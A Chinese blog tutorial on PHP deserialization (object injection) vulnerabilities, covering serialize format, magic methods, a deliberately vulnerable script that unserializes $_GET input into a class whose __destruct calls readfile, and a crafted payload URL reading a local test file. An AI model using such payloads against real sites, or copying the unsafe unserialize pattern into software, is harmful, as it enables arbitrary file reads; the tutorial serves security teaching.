zoukankan      html  css  js  c++  java
  • PHP反序列化漏洞

    serialize:序列化

    unserialize: 反序列化

    简单解释:

    serialize 把一个对象转成字符串形式, 可以用于保存

    unserialize 把serialize序列化后的字符串变成一个对象

    我们来看一个实例:

    复制代码
    <?php
     class F{
        public $filename='a.txt';
    }
    
    $a = new F();
    echo $a->filename.'<br />';
    echo serialize($a);
    复制代码

    上面例子是创建一个类, 并输出 filename的值 , 最后输出序列化字符串:

    关于这一串:

    O:1:"F":1:{s:8:"filename";s:5:"a.txt";}

    简单解释:

    O: 对像, 1 对象名长度, 就是这里的 'F'

    s: 字符串

    8: 字符串长度, 后面的filename为字符串定义时的名字

    详细解释可以百度找资料看, 因为这个不是本文重点。

    这里你可以看到, 我代码里的类定义为: class F, 这个序列化就是 F, 我定义变量名字是filename, 它这里也是 filename, 我们可以修改看看:

    可以看到序列化后的变量名字变成 filenameF 了。

    看下面代码:

    复制代码
    <?php
     class F{
        public $filenameF='bcda.txt';
    }
    
    $a = new F();
    echo $a->filenameF.'<br />';
    echo serialize($a);
    复制代码

    这是另一个代码:

    复制代码
    <?php
     class F{
        public $filename='a.txt';
    }
    
    $a = new F();
    echo $a->filename.'<br />';
    echo serialize($a);
    复制代码

     

    这两个代码定义的类一样, 只是属性不一样。

    当我们用如下代码反序列时:

    复制代码
    <?php
     class F{
        public $filename='a.txt';
        function __destruct(){
            echo '--------------><br />';
        }
    }
    
    $a = new F();
    echo $a->filename.'<br />';
    echo serialize($a);
    $b = unserialize('O:1:"F":1:{s:9:"filenameF";s:8:"bcda.txt";}');
    echo '<br />'.$b->filename;
    echo '<br />'.$b->filenameF;
    复制代码

    可以看到析构函数输出了两次, 说明这两个应是同一个类, 只是 $b 多出了一个属性 filenameF, filename可直常输出, filenameF也可正常输出。

    在PHP中, 类被创建或消失后, 都会自动的执行某些函数, 如:

    __construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), and __autoload()

    或自动执行某些方法, 如:

    复制代码
    Exception::__toString
    ErrorException::__toString
    DateTime::__wakeup
    ReflectionException::__toString
    ReflectionFunctionAbstract::__toString
    ReflectionFunction::__toString
    ReflectionParameter::__toString
    ReflectionMethod::__toString
    ReflectionClass::__toString
    ReflectionObject::__toString
    ReflectionProperty::__toString
    ReflectionExtension::__toString
    LogicException::__toString
    BadFunctionCallException::__toString
    BadMethodCallException::__toString
    DomainException::__toString
    InvalidArgumentException::__toString
    LengthException::__toString
    OutOfRangeException::__toString
    RuntimeException::__toString
    复制代码

    我们就可以利用这种自动执行某些函数或方法的特性,执行我们相要的操作。

    我们创建如下代码:

    复制代码
    <?php
     class F{
        public $filename='d:\phpstudy\www\a.txt';
        #$filename为public
        function __destruct(){
            $data = readfile($this->filename);
            echo $data;
        }
    }
    
    $a = new F();
    echo $a->filename.'<br />';
    复制代码

    运行时如下所示:

    因为 __destruct 析构函数在一个类对象消失时, 会自动执行。 所以上面的代码当运行结束时, 类对象 $a 消失后, 代码会自动执行 __destruct() 函数。

    假如我们创建一个如下的测试代码:

    复制代码
    <?php
     class F{
        public $filename='d:\phpstudy\www\a.txt';
        #$filename为public
        function __destruct(){
            $data = readfile($this->filename);
            echo $data.'<br />';
        }
    }
    
    $a = new F();
    echo $a->filename.'<br />';
    $b = unserialize($_GET[a]);
    复制代码

    这代码中我们用unserialize反序列一个字符串变成一个类对象, 也就是说这个代码中, 会有两个类对象, 一个是$a, 一个是用户可控的$b ($b 中的filename可控, 因为class F中的 filename为public)。

    当代码运行结束时, 会运行两个析构函数。 第一次运行的析构函数中, filename为$a中默认的 'd:\phpstudy\www\a.txt', 第二个因为是从$_GET[a]获得字符串, 所以我们可以控制第二个对象中的filename。

    从而使得 __destruct 函数可以读取到我们想要读的文件。

    下面这个代码中的类跟上面代码的类一样, 不同的地方是我们修改了filename的值, 并生成序列化字符串:

    复制代码
    <?php
     class F{
        public $filename='a.txt';
    }
    
    $a = new F();
    $a->filename = 'd:\phpstudy\www\2.txt';
    echo serialize($a);
    复制代码

    生成的序列化字符串为:

    O:1:"F":1:{s:8:"filename";s:21:"d:phpstudywww2.txt";}

    再创建一个 2.txt 文件用于测试, 内容为:

    password

    现在,我们已改变了原来的 filename值,并生成了序列化字符串, 再把它发送到测试代码中去:

    http://localhost/11.php?a=O:1:%22F%22:1:{s:8:%22filename%22;s:21:%22d:phpstudywww2.txt%22;}

    测试代码除了有对象 $a 外, 还反序列化创建了一个对象 $b, 而这个$b中的属性filename被我们修改了。

    最后运行两次 __destruct析构函数时, 一次读取了 a.txt, 另一次读取了 2.txt。

    最后总结一下:

    复制代码
    <?php
    include "xxx.php";#此文件中有类定义, 有魔术函数或方法, 且输入参数能被控制
    class Classname{
        #存在有害魔术函数或方法,且输入参数能被控制
    }
    
    
    do something...
    do something...
    do something...
    
    #存在反序列化函数
    unserialize('用户输入有害参数未过滤')
    do something...
    do something...
    do something...
    复制代码
  • 相关阅读:
    vj p1034题解
    2010.11.9南高模拟赛
    vj p1041神风堂人数 题解
    noi99钉子和小球 解题报告
    vj p1032题解
    vj p1037题解
    vj p1040题解
    vj p1038题解
    vj p1042捕风捉影 题解
    vj p1046 观光旅游 题解
  • 原文地址:https://www.cnblogs.com/wushangguo/p/9523849.html
Copyright © 2011-2022 走看看